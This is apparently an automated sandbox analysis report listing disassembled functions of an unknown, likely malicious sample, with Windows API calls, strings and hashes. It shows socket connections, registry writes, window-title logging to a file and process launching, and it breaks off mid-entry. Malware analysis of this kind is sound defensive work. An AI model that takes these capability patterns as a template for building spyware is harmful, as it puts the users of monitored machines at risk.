API ID: ByteCharEventMultiWidelstrlensetsockopt$CreateErrorIoctlLastSelectconnectgethostbynamehtonssocket
String ID:
API String ID: 1455939504-0
Opcode ID: 83c23c7156a2f2f9546bbedb825f4ea5bdb5cdbf05adf9a281f696d8c7e63d3d
Instruction ID: 039c6b5243c36624d5a399da3a5c1b6ae2944fc17a630f9b641e5df8ee8111e0
Opcode Fuzzy Hash: 83c23c7156a2f2f9546bbedb825f4ea5bdb5cdbf05adf9a281f696d8c7e63d3d
Instruction Fuzzy Hash: ED417075A40309BBEB20EBA4DC89F7BB778FB48710F10461AF7159A2C0C674A905DB60

Function 02C636F0 Relevance: 21.1, APIs: 14, Instructions: 141networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 02C63710
WSAIoctl.WS2_32(00000000,9800000C,?,00000004,00000000,00000000,?,00000000,00000000), ref: 02C63749
setsockopt.WS2_32(?,0000FFFF,000000FB,?,00000004), ref: 02C63766
setsockopt.WS2_32(?,0000FFFF,00000004,?,00000004), ref: 02C63779
WSACreateEvent.WS2_32 ref: 02C6377B
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,02C7D990), ref: 02C6378D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,02C7D990), ref: 02C63799
lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,02C7D990), ref: 02C637B8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,02C7D990), ref: 02C637C4
gethostbyname.WS2_32(00000000), ref: 02C637D2
htons.WS2_32(?), ref: 02C637F8
WSAEventSelect.WS2_32(?,?,00000030), ref: 02C63816
connect.WS2_32(?,?,00000010), ref: 02C6382B
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,02C7D990), ref: 02C6383A

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ByteCharEventMultiWidelstrlensetsockopt$CreateErrorIoctlLastSelectconnectgethostbynamehtonssocket
String ID:
API String ID: 1455939504-0
Opcode ID: 53d29f25b01721bf5bf80cd48785df4dc5a454a9b1a1c53c04fb325949c674d3
Instruction ID: 5744601b9ac0425285b764c3fcc929b9bbd1bcf665e210ba5e18c541d031c85c
Opcode Fuzzy Hash: 53d29f25b01721bf5bf80cd48785df4dc5a454a9b1a1c53c04fb325949c674d3
Instruction Fuzzy Hash: 48416FB1A40245ABE710DFA4DC89F7FB7B8EF88715F504619FA11A72C0C775A904CB60

Function 0377AA10 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 190sleeptimeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,A0516FA3), ref: 0377AA58
wsprintfW.USER32 ref: 0377AA8F
_memset.LIBCMT ref: 0377AAA7
_memset.LIBCMT ref: 0377AABA

Part of subcall function 03778020: lstrlenW.KERNEL32(?), ref: 03778038
Part of subcall function 03778020: _memset.LIBCMT ref: 03778042
Part of subcall function 03778020: lstrlenW.KERNEL32(?), ref: 0377804B
Part of subcall function 03778020: lstrlenW.KERNEL32(?), ref: 03778056

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0377ABBE
Sleep.KERNEL32(000003E8,?,?,?,?,?,?), ref: 0377AC6E
CloseHandle.KERNEL32(?), ref: 0377ACAA

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

Part of subcall function 03779730: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,A0516FA3,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E,00000000), ref: 03779773
Part of subcall function 03779730: InitializeCriticalSectionAndSpinCount.KERNEL32(0377E1AE,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 03779812
Part of subcall function 03779730: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 03779850

Strings

o1:, xrefs: 0377AAE2
%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 0377AA89
t1:, xrefs: 0377AAF3
p1:, xrefs: 0377AACE

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateEvent_memsetlstrlen$CloseCountCriticalHandleInitializeLocalSectionSleepSpinTime_mallocwsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$o1:$p1:$t1:
API String ID: 1254190970-1225219777
Opcode ID: 254cae7af68feec7df662b83936e033a97fd6d931557606a2fbdfc5ad6bb8696
Instruction ID: 6de2dd21563ec993763221e29d83b1153ce0da42d5c9490ac85f16c708a26ccd
Opcode Fuzzy Hash: 254cae7af68feec7df662b83936e033a97fd6d931557606a2fbdfc5ad6bb8696
Instruction Fuzzy Hash: 136180F1508340AFEB60EF54DC85EAFB7E9BB89614F004A2DF19987241E7349545CBA3

Function 0377C860 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 66registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,AppEvents,00000000,00000002,?), ref: 0377C889
RegDeleteValueW.ADVAPI32(?), ref: 0377C894
RegCloseKey.ADVAPI32(?), ref: 0377C8A4
RegCreateKeyW.ADVAPI32(80000001,AppEvents,?), ref: 0377C8C3
lstrlenW.KERNEL32(?), ref: 0377C8D1
RegSetValueExW.ADVAPI32(?,?,00000000,00000003,?,00000000), ref: 0377C8E4
RegCloseKey.ADVAPI32(?,?,00000000,00000003,?,00000000), ref: 0377C8F2
RegCloseKey.ADVAPI32(?), ref: 0377C900

Strings

AppEvents, xrefs: 0377C86F, 0377C883, 0377C8AD, 0377C8BD
Network, xrefs: 0377C876, 0377C8B4

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Close$Value$CreateDeleteOpenlstrlen
String ID: AppEvents$Network
API String ID: 3935456190-3733486940
Opcode ID: ccf74e81604af24a260a60739e0086a141f68ff0642ea5ae06ee9fb4dd230624
Instruction ID: f22aa58299a4934fe0bf95e35c292ea13cd93ad7d11a342165963aa5b383a97e
Opcode Fuzzy Hash: ccf74e81604af24a260a60739e0086a141f68ff0642ea5ae06ee9fb4dd230624
Instruction Fuzzy Hash: 28118675B01218FBFB10EBA9EC89FABB36CEB09710F10465AFA0197241D6759E01D7A4

Function 035FA0AF Relevance: 16.8, APIs: 11, Instructions: 254COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 035FA107
_memset.LIBCMT ref: 035FA147
_memset.LIBCMT ref: 035FA1CD
swprintf.LIBCMT ref: 035FA1EC

Part of subcall function 035FF0C6: _malloc.LIBCMT ref: 035FF0E0

_memset.LIBCMT ref: 035FA2C4
swprintf.LIBCMT ref: 035FA2E3
_memset.LIBCMT ref: 035FA345
swprintf.LIBCMT ref: 035FA364

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: _memset$swprintf$_malloc
String ID:
API String ID: 1873853019-0
Opcode ID: 062e854903829bf1e59bc273fd803ecd21369289b7c01ee10e87d698f024efb4
Instruction ID: b546a3146aa8e427d3e910f09947944f4221d25a6ccf95b6a3d9569dfc79574b
Opcode Fuzzy Hash: 062e854903829bf1e59bc273fd803ecd21369289b7c01ee10e87d698f024efb4
Instruction Fuzzy Hash: EF81D6B5940301AFE710EB54EC86F6B77A4BF85310F1841A8EE095F3D6EB71E910C6A6

Function 02C65A20 Relevance: 16.7, APIs: 11, Instructions: 227timeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,DFA3C3C3), ref: 02C65A65
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 02C65B04
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 02C65B42
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 02C65B67
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 02C65C5F
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 02C65C80
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 02C65B8C

Part of subcall function 02C61280: __CxxThrowException@8.LIBCMT ref: 02C61290
Part of subcall function 02C61280: DeleteCriticalSection.KERNEL32(00000000,?,02C77E78), ref: 02C612A1

InterlockedExchange.KERNEL32(?,00000000), ref: 02C65CF1
timeGetTime.WINMM ref: 02C65CF7
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 02C65D0B
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 02C65D14

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CreateEvent$CriticalSection$CountInitializeSpin$DeleteException@8ExchangeInterlockedThrowTimetime
String ID:
API String ID: 1400036169-0
Opcode ID: 5390c63acb6eb3b31d4d4728caa79a21b5d68e30ccb2581f27b649060836bc1d
Instruction ID: 770cd5a9495b9b5176fe444d6fe98399a4d690f893432d610a36ba200cbd43c5
Opcode Fuzzy Hash: 5390c63acb6eb3b31d4d4728caa79a21b5d68e30ccb2581f27b649060836bc1d
Instruction Fuzzy Hash: 4DA1D2B0A01A46AFD354DF6A888879AFBA8FB08344F90462ED11DD7640D774A964CF90

Function 03774CB0 Relevance: 16.7, APIs: 11, Instructions: 156COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,A0516FA3,?,?,?,?,00000000,000000FF,00000000), ref: 03774CE6
EnterCriticalSection.KERNEL32(?,A0516FA3,?,?,?,?,00000000,000000FF,00000000), ref: 03774D0D
SetLastError.KERNEL32(0000139F,?,?,00000000,000000FF), ref: 03774D21
LeaveCriticalSection.KERNEL32(?,?,?,00000000,000000FF), ref: 03774D28

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CriticalErrorLastSection$EnterLeave
String ID:
API String ID: 2124651672-0
Opcode ID: 5bc85c70708e74985413b96e83c445220a6eef762ce3560c4740f18d0d7a8f95
Instruction ID: 8b6812583d372d77f16137d4cee7af647021726d696c5c2333037334d879f1af
Opcode Fuzzy Hash: 5bc85c70708e74985413b96e83c445220a6eef762ce3560c4740f18d0d7a8f95
Instruction Fuzzy Hash: F851C176A04708DFCB24EFA9E884A6AF7F4FB48710F058A6EE91AD7741D735A400CB51

Function 02C64C90 Relevance: 16.7, APIs: 11, Instructions: 156COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,DFA3C3C3,?,?,?,?,00000000,000000FF,00000000), ref: 02C64CC6
EnterCriticalSection.KERNEL32(?,DFA3C3C3,?,?,?,?,00000000,000000FF,00000000), ref: 02C64CED
SetLastError.KERNEL32(0000139F,?,?,00000000,000000FF), ref: 02C64D01
LeaveCriticalSection.KERNEL32(?,?,?,00000000,000000FF), ref: 02C64D08

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CriticalErrorLastSection$EnterLeave
String ID:
API String ID: 2124651672-0
Opcode ID: 8d737cad8e08bdfcbeaf6e5747714396cc624bd3427fd9ac9b3386a171bbcafd
Instruction ID: f01188dba5deba59980a3ebb3b27b01bc64bbef42725079179d567fa40463c56
Opcode Fuzzy Hash: 8d737cad8e08bdfcbeaf6e5747714396cc624bd3427fd9ac9b3386a171bbcafd
Instruction Fuzzy Hash: 2551AE76E04601DFC324DFA8D989B6AF7F5FF88711F104A2AE90A87740D735A4148B91

Function 035FBD5F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 035FBD81
_wcsrchr.LIBCMT ref: 035FBD89
_memset.LIBCMT ref: 035FBDC0
_wcsrchr.LIBCMT ref: 035FBDC8
_memset.LIBCMT ref: 035FBE43
_memset.LIBCMT ref: 035FBE6F
_memset.LIBCMT ref: 035FBE8A
_memset.LIBCMT ref: 035FBF29

Strings

D, xrefs: 035FBF35

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: _memset$_wcsrchr
String ID: D
API String ID: 170005318-2746444292
Opcode ID: dbe0af0cfe405bfaa2f7670afa9565592a0c6507b5e6e8f9ef5526909d63a184
Instruction ID: fbcb9cf6111574d092459bd5e0057a7120408d209a0f336a8da3981c857e404b
Opcode Fuzzy Hash: dbe0af0cfe405bfaa2f7670afa9565592a0c6507b5e6e8f9ef5526909d63a184
Instruction Fuzzy Hash: 3651087194031DBEDB24EBA0DC85FEA7778EF54700F4005D9A709AA090EB709A54CF66

Function 0377E730 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74stringtimeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0377E751
GetForegroundWindow.USER32(?,74DF23A0,00000000), ref: 0377E759
GetWindowTextW.USER32(00000000,037A16F0,00000800), ref: 0377E76F
_memset.LIBCMT ref: 0377E78D
lstrlenW.KERNEL32(037A16F0,?,?,?,?,74DF23A0,00000000), ref: 0377E7AC
GetLocalTime.KERNEL32(?,?,?,?,?,74DF23A0,00000000), ref: 0377E7BD
wsprintfW.USER32 ref: 0377E804

Part of subcall function 0377E6B0: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,?,0377E815,?,?,?,?,74DF23A0,00000000), ref: 0377E6BD
Part of subcall function 0377E6B0: CreateFileW.KERNEL32(037A0D80,40000000,00000002,00000000,00000004,00000002,00000000,?,?,0377E815,?,?,?,?,74DF23A0,00000000), ref: 0377E6D7
Part of subcall function 0377E6B0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0377E6F2
Part of subcall function 0377E6B0: lstrlenW.KERNEL32(?,00000000,00000000), ref: 0377E6FF
Part of subcall function 0377E6B0: WriteFile.KERNEL32(00000000,?,00000000), ref: 0377E70A
Part of subcall function 0377E6B0: CloseHandle.KERNEL32(00000000), ref: 0377E711
Part of subcall function 0377E6B0: ReleaseMutex.KERNEL32(00000000), ref: 0377E71E

_memset.LIBCMT ref: 0377E820

Strings

[, xrefs: 0377E7FE

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: File_memset$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID: [
API String ID: 2192163267-4056885943
Opcode ID: fa69f451f183e21d93fdf46a2b6f3b60779889de8bdd64fe3c8f8eff74c6c750
Instruction ID: 76b15f3ef830ebe5d6e7003f1b39d7173710c577057d4eb8312d232b63c6ae50
Opcode Fuzzy Hash: fa69f451f183e21d93fdf46a2b6f3b60779889de8bdd64fe3c8f8eff74c6c750
Instruction Fuzzy Hash: 2E21D3B5A40228BAE760EF549C05BBA73BCFB44700F44C29AF54496181DE785985CBE4

Function 02BD55C8 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 68COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02BD5640
_memset.LIBCMT ref: 02BD5664
_memset.LIBCMT ref: 02BD5676

Strings

{vU_, xrefs: 02BD55FD
., xrefs: 02BD5611
l, xrefs: 02BD561B
i, xrefs: 02BD562F
!jWW, xrefs: 02BD5607
_, xrefs: 02BD5625

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: _memset
String ID: !jWW$.$_$i$l${vU_
API String ID: 2102423945-3065862289
Opcode ID: 2b6eedebc133e2266d96017898138cdc43810d24d5c9c443b0251b8ba9ddad3f
Instruction ID: de59d0199cb92981aa6dd497b75b09911fe004883ca56642414be7140e791e23
Opcode Fuzzy Hash: 2b6eedebc133e2266d96017898138cdc43810d24d5c9c443b0251b8ba9ddad3f
Instruction Fuzzy Hash: 38216D74A413589FD720DF54DC80FAABBB5FF85700F0481CAE54C9A641E7B19A84CF52

Function 03773DE0 Relevance: 15.1, APIs: 10, Instructions: 117memorynetworkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0377398D,?,00000000,000000FF,00000000), ref: 03773E05
LeaveCriticalSection.KERNEL32(?,?,?,0377398D,?,00000000,000000FF,00000000), ref: 03773E50
send.WS2_32(?,000000FF,00000000,00000000), ref: 03773E6E
EnterCriticalSection.KERNEL32(?), ref: 03773E81
LeaveCriticalSection.KERNEL32(?), ref: 03773E94
HeapFree.KERNEL32(00000000,00000000,?,?,?,0377398D,?,00000000,000000FF,00000000), ref: 03773EBC
WSAGetLastError.WS2_32(?,?,0377398D,?,00000000,000000FF,00000000), ref: 03773EC7
EnterCriticalSection.KERNEL32(?,?,?,0377398D,?,00000000,000000FF,00000000), ref: 03773EDB
LeaveCriticalSection.KERNEL32(?), ref: 03773F14
HeapFree.KERNEL32(00000000,00000000,?), ref: 03773F51

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave$FreeHeap$ErrorLastsend
String ID:
API String ID: 1701177279-0
Opcode ID: bd9f497e35fdb08f243ab884ddc11d723b95def739f9a8ccdb67c636ff8675d4
Instruction ID: f8c1b8552be6f9cffef6f30cc4c9149bb894472849f9d767df362cb87c0a6a05
Opcode Fuzzy Hash: bd9f497e35fdb08f243ab884ddc11d723b95def739f9a8ccdb67c636ff8675d4
Instruction Fuzzy Hash: B44149751047059FDB24EF78D8C8AA7B7F8FB08300F44896EE86ECB245D775A4029B90

Function 03774F30 Relevance: 15.1, APIs: 10, Instructions: 114timenetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(0000000D,00000000,000000FF,00000000,000000FF,00000000), ref: 03774F63
EnterCriticalSection.KERNEL32(000002FF,00000000,000000FF,00000000,000000FF,00000000), ref: 03774F78
WSASetLastError.WS2_32(00002746), ref: 03774F8A
LeaveCriticalSection.KERNEL32(000002FF), ref: 03774F91
timeGetTime.WINMM ref: 03774FBF
timeGetTime.WINMM ref: 03774FE7
SetEvent.KERNEL32(?), ref: 03775025
InterlockedExchange.KERNEL32(?,00000001), ref: 03775031
LeaveCriticalSection.KERNEL32(000002FF), ref: 03775038
LeaveCriticalSection.KERNEL32(000002FF), ref: 0377504B

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CriticalSection$Leave$ErrorLastTimetime$EnterEventExchangeInterlocked
String ID:
API String ID: 1979691958-0
Opcode ID: f43bc1a0b5852291077e9628a0c106984f65d28b52f05a7a9260e758de90d656
Instruction ID: b698c98cd980d183bdd15ddf7659a98c72bfab5cbb37a1a7e4d395ff340de49b
Opcode Fuzzy Hash: f43bc1a0b5852291077e9628a0c106984f65d28b52f05a7a9260e758de90d656
Instruction Fuzzy Hash: 50410631600708EFDF20EF39D548A6AB7E9FB49314F0C8A9AE44ACB641E735E456CB41

Function 02C64F10 Relevance: 15.1, APIs: 10, Instructions: 114timenetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(0000000D,00000000,000000FF,00000000,000000FF,00000000), ref: 02C64F43
EnterCriticalSection.KERNEL32(000002FF,00000000,000000FF,00000000,000000FF,00000000), ref: 02C64F58
WSASetLastError.WS2_32(00002746), ref: 02C64F6A
LeaveCriticalSection.KERNEL32(000002FF), ref: 02C64F71
timeGetTime.WINMM ref: 02C64F9F
timeGetTime.WINMM ref: 02C64FC7
SetEvent.KERNEL32(?), ref: 02C65005
InterlockedExchange.KERNEL32(?,00000001), ref: 02C65011
LeaveCriticalSection.KERNEL32(000002FF), ref: 02C65018
LeaveCriticalSection.KERNEL32(000002FF), ref: 02C6502B

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CriticalSection$Leave$ErrorLastTimetime$EnterEventExchangeInterlocked
String ID:
API String ID: 1979691958-0
Opcode ID: 54df8fb2742aedd45c02bbc7320fe32c82dfb850ce4f800534d9ff3994d2affd
Instruction ID: a73b17a46a8bdba3e65e8de7151ca8f364e310473726ba5ccbb25923172c24e5
Opcode Fuzzy Hash: 54df8fb2742aedd45c02bbc7320fe32c82dfb850ce4f800534d9ff3994d2affd
Instruction Fuzzy Hash: 8941D531A002009FD730DF69D98CB7AB7E6FF88354F508A59E84ACB241E776E5548B82

Function 0377C270 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98filestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0377C2AE
CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 0377C2CC
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0377C309
CloseHandle.KERNEL32(00000000), ref: 0377C314
lstrlenW.KERNEL32(?), ref: 0377C321
wsprintfW.USER32 ref: 0377C345

Strings

%s %s, xrefs: 0377C33F

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: File$CloseCreateHandleWrite_memsetlstrlenwsprintf
String ID: %s %s
API String ID: 1326869720-2939940506
Opcode ID: 1edfad6cb6980bb812b8415ce50bb1781718b5f0181fc6d386fcf7add2012a74
Instruction ID: 30924a013cc7d14aaf2ecf0bd1f5d05496311e2d5aad27974619caee818e8242
Opcode Fuzzy Hash: 1edfad6cb6980bb812b8415ce50bb1781718b5f0181fc6d386fcf7add2012a74
Instruction Fuzzy Hash: F731D53264021C7BDF24EB64DC85FEF737CEB09311F40469AF605AA181DA345A44CFA1

Function 0377C980 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 88processstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0377C98D
_wcsrchr.LIBCMT ref: 0377C9C7

Part of subcall function 03777C80: LoadLibraryW.KERNEL32(wininet.dll), ref: 03777CC3
Part of subcall function 03777C80: GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 03777CD7
Part of subcall function 03777C80: FreeLibrary.KERNEL32(00000000), ref: 03777CF7

GetFileAttributesW.KERNEL32(-00000002), ref: 0377C9E6
GetLastError.KERNEL32 ref: 0377C9F1
_memset.LIBCMT ref: 0377CA04
CreateProcessW.KERNEL32(00000000,-00000002,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0377CA31

Strings

WinSta0\Default, xrefs: 0377CA2A
D, xrefs: 0377CA23

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Library$AddressAttributesCreateErrorFileFreeLastLoadProcProcess_memset_wcsrchrlstrlen
String ID: D$WinSta0\Default
API String ID: 174883095-1101385590
Opcode ID: 1f3e062cc4cc0a622145dc52eb2178ba836171cb8b53690e603e7fd45e8592c8
Instruction ID: e0c61b41fd1859f246912474d7d47f200d126b95a76a3295b563c33af5848ed7
Opcode Fuzzy Hash: 1f3e062cc4cc0a622145dc52eb2178ba836171cb8b53690e603e7fd45e8592c8
Instruction Fuzzy Hash: 16112EB7A0020837DB25F7A85C89FBFB76CDB55610F044136FA059D284E6359505C2E1

Function 03778159 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 58stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,A:\), ref: 03778166
lstrcmpiW.KERNEL32(?,B:\), ref: 03778176
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 037781A6
lstrlenW.KERNEL32(?), ref: 037781B7
__wcsnicmp.LIBCMT ref: 037781CE
lstrcpyW.KERNEL32(00000AD4,?), ref: 03778204
lstrcpyW.KERNEL32(?,?), ref: 03778228
lstrcatW.KERNEL32(?,00000000), ref: 03778233

Strings

B:\, xrefs: 03778170
A:\, xrefs: 03778160

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: lstrcmpilstrcpy$DeviceQuery__wcsnicmplstrcatlstrlen
String ID: A:\$B:\
API String ID: 4249875308-1009255891
Opcode ID: a4d3b7addff0e21be439a98b1e51a88fa4d0aea0ebeb8161d0571d5bd86ebbff
Instruction ID: c6c9794a368870fa172906081167c8d72a6aaea9c8a0c1c1509692345034b25e
Opcode Fuzzy Hash: a4d3b7addff0e21be439a98b1e51a88fa4d0aea0ebeb8161d0571d5bd86ebbff
Instruction Fuzzy Hash: E7118171A01218EBDF20EF60DD497EEB378EF44310F044599DE09A7240E774DA06CBA5

Function 03779730 Relevance: 13.7, APIs: 9, Instructions: 195timeCOMMON

Download Yara Rule

APIs

